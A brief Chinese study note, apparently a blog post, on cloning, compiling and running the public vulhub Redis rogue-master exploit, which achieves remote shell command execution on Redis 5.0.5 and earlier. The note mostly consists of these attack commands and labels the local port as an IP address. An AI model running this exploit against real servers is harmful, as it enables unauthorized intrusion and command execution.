【笔记】RedisRogueGetshell学习笔记

前言

A exploit for Redis(<=5.0.5) RCE(vulhub/redis-rogue-getshell

漏洞利用前提

  • Redis 4.x
  • Redis 5.x(<=5.0.5)

下载项目

1
2
git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-rogue-getshell

编译exp

1
2
3
cd RedisModulesSDK
make
cd ..
  • RedisModulesSDK目录下会生成exp.so文件

运行exp

<host_remote>:受害者IP地址
<port_remote>:受害者端口号
<host_local>:攻击者IP地址
<port_local>:攻击者IP地址
<shell>:远程执行的Shell命令

1
python3 redis-master.py -r <host_remote> -p <port_remote> -L <host_local> -P <port_local> -f RedisModulesSDK/exp.so -c "<shell>"

完成

参考文献

哔哩哔哩——xiaodisec